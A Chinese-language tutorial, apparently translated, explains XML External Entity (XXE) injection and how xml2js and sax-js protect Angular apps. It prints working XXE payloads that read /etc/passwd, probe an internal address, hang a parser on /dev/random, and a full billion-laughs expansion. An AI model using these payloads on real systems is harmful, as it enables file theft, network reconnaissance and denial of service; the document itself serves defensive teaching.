什么是 XML 外部實體攻擊?

注入攻擊

注入攻擊通過向代碼提供無效數據來利用代碼。當目標處理數據時,它會改變其行為方式,通常是為攻擊者檢索數據或導致應用程序失敗。 

目標應用程序需要滿足兩個條件才能成功進行注入攻擊: 

  1. 它接受不可信的數據。
  2. 它以一種導致應用程序行為異常的方式處理數據。

XML 外部實體

XXE 攻擊是利用危險的 XML 文檔進行的注入攻擊。

XML 是一種強大的語言,很容易編寫文檔來竊取信息或禁用目標。 

您可以使用實體構建 XML 文檔。每個實體都包含或指向數據。?

內部實體保存其數據,而外部實體則指可能位于另一個系統或文檔其他地方的數據。危險就來自這些外部實體。讓我們看幾個例子。 

這是在外部實體中使用URI的文檔。URI 是 HTML 鏈接中 URL 的超集。?

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://www.example.com/login" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>

此文檔定義了一個名為 xxe的實體,該實體指向http://www.example.com/login 的內容。 因此,當 XML 解析器看到對該實體的引用(例如<bar>標記之間的引用)時,它會檢索該 URL 并插入該頁面的內容。 

以下是定義基于文本的自定義實體的文檔的示例: 

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
]>
<lolz>&lol1;</lolz>

lol1實體包含 10 次字符串 lol 。因此,解析器將lol1替換為 10 個lols。 

讓我們看看攻擊者如何使用這些工具。 

構造 XML 外部實體攻擊

現在,我們來看一些 XXE 攻擊的例子。 

檢索網絡信息

上面我們演示了一個指向互聯網網頁的外部實體。但是,它們使用 URI,它可以指向幾乎任何網絡資源,包括私有網絡內的主機。 

例如: 

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://10.1.1.1/login" >
]>
<foo>
<bar>&xxe;</bar>
</foo<>

如果10.1.1.1存在,正在運行 Web 服務器,并且有一個名為login 的頁面,則 XML 解析器將檢索該頁面并將內容放入 XML 文檔中。如果其中一個或多個內容為假,則生成的文檔可能包含可能有用的錯誤。即使這次攻擊失敗,黑客也可以從中了解到很多信息。他們將了解 IP 地址是否有效、是否正在運行 Web 服務器以及服務器是否有登錄頁面。例如,404 錯誤頁面會告訴攻擊者很多有關目標內部網絡的信息。 

竊取文件

URI 也可以指向文件。我們只需稍作調整,就可以使用同一文檔從運行目標應用程序的服務器中獲取用戶列表。 

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "file://etc/passwd" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>

此攻擊不會插入網頁內容,而是將/etc/passwd的內容插入到結果文檔中。此攻擊適用于受攻擊應用程序有權訪問的任何文件。 

通過文件注入實現拒絕服務

Linux 有特殊文件作為設備和設備驅動程序的接口。如果您將 XML 文檔指向正確的文件,則可以禁用應用程序。 

 <?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "file://dev/random" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>

/dev/random文件會根據系統噪聲生成隨機數,但只有在有噪聲可用時才會生成隨機數。因此,當應用程序讀取此文件時,調用可能會被阻止:它不會返回數據,直到系統可以生成隨機數。這會使 XML 解析器掛起,直到發生某些事情。發送幾百個這樣的惡意 XML 文件,您就可以讓服務器癱瘓。?

Angular XML 外部實體 (XXE) 指南:示例和預防措施

數據注入

我們再來看一下第一個例子。 

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo \[
<!ELEMENT foo ANY >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "https://www.example.com/login" >
\]>
<foo>
<bar>&xxe;</bar>
</foo>


這會插入來自外部網站的登錄頁面。如果攻擊者控制該網站,他們就可以使用它來獲取用戶名和密碼。這是使用 XXE 攻擊注入惡意數據的一個例子。黑客可以從互聯網上的任何地方將數據注入易受攻擊的系統。 

實體拒絕服務

我們在上面查看了使用實體定義文本節點的示例。該文檔是十億笑聲攻擊的一部分。 

以下是完整文檔: 

<?xml version="1.0"?>
<!DOCTYPE lolz \[
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
\]>
<lolz>&lol9;</lolz>

如果解析器將每個lol1替換 為 10 個lol,將每個 lol2替換為 10 個lol1,等等,直到lol9表示 10 個 lol8,那么這個文檔將擴展到十億個笑聲。這個名字并不夸張! 

Angular XML 外部實體攻擊

許多人將注入攻擊與服務器端應用程序聯系在一起,正確的攻擊可能會危及數據或使 Web 應用程序脫機。但客戶端應用程序也容易受到這些攻擊,其中諸如服務器被入侵、中間人攻擊或惡意重定向之類的危害可能會導致惡意數據。那么,讓我們看看如何保護 Angular 應用程序免受 XXE 攻擊。?

我們無法始終保護我們的應用程序免受不可信數據的侵害。但我們可以確保我們的代碼不會以危險的方式處理數據。Angular 不附帶 XML 解析器;您可以加載任何 javascript 解析器并使用它來處理 Angular 應用程序中的文檔。

好消息是,如果您使用xml2js或sax-js,您就不會受到 XXE 攻擊。

它們都默認忽略自定義實體或不擴展就直接傳遞。Sax-js會忽略它們,而 xml2js 會使用 sax-js 來處理文檔。如果您確實想處理某些自定義實體,也可以安裝自己的事件處理程序。 

讓我們看一個簡單的例子來了解 xml2js 如何保護我們。將試圖注入登錄頁面的文檔放在名為foo.xml 的文件中。 

運行此代碼: 

ar fs = require('fs'),
xml2js = require('xml2js');

var parser = new xml2js.Parser();
fs.readFile('./foo.xml', function(err, data) {
parser.parseString(data, function (err, result) {
console.dir(result);
console.log('Done');
});
});

輸出如下: 

undefined
Done

解析器忽略了自定義實體并將文檔視為不包含任何數據。

現在,對代碼進行一點小改動。將strict選項添加到解析器構造函數中,并將其設置為 false。 

再次運行代碼。 

var fs = require('fs'),
xml2js = require('xml2js');

var parser = new xml2js.Parser({strict: false});
fs.readFile('./bar.xml', function(err, data) {
parser.parseString(data, function (err, result) {
console.dir(result);
console.log('Done');
});
});

現在解析器處理自定義實體但不擴展它們。 

{ FOO: { BAR: [ '&xxe;' ] } }
Done

您也可以將其他示例放入文件中并進行測試。堅持使用這些解析器并保持依賴項最新! 

保護你的應用免受 Angular XML 外部實體攻擊

Angular XML 外部攻擊是嚴重的威脅,可能會危害您的應用程序并泄露客戶數據。但是,堅持使用正確的 XML 解析器,您就會安全。 

文章來源:Angular XML External Entities (XXE) Guide: Examples and Prevention

上一篇:

什么是路徑遍歷

下一篇:

Golang 訪問中斷控制指南:示例及預防
#你可能也喜歡這些API文章!

我們有何不同?

API服務商零注冊

多API并行試用

數據驅動選型,提升決策效率

查看全部API→
??

熱門場景實測,選對API

#AI文本生成大模型API

對比大模型API的內容創意新穎性、情感共鳴力、商業轉化潛力

25個渠道
一鍵對比試用API 限時免費

#AI深度推理大模型API

對比大模型API的邏輯推理準確性、分析深度、可視化建議合理性

10個渠道
一鍵對比試用API 限時免費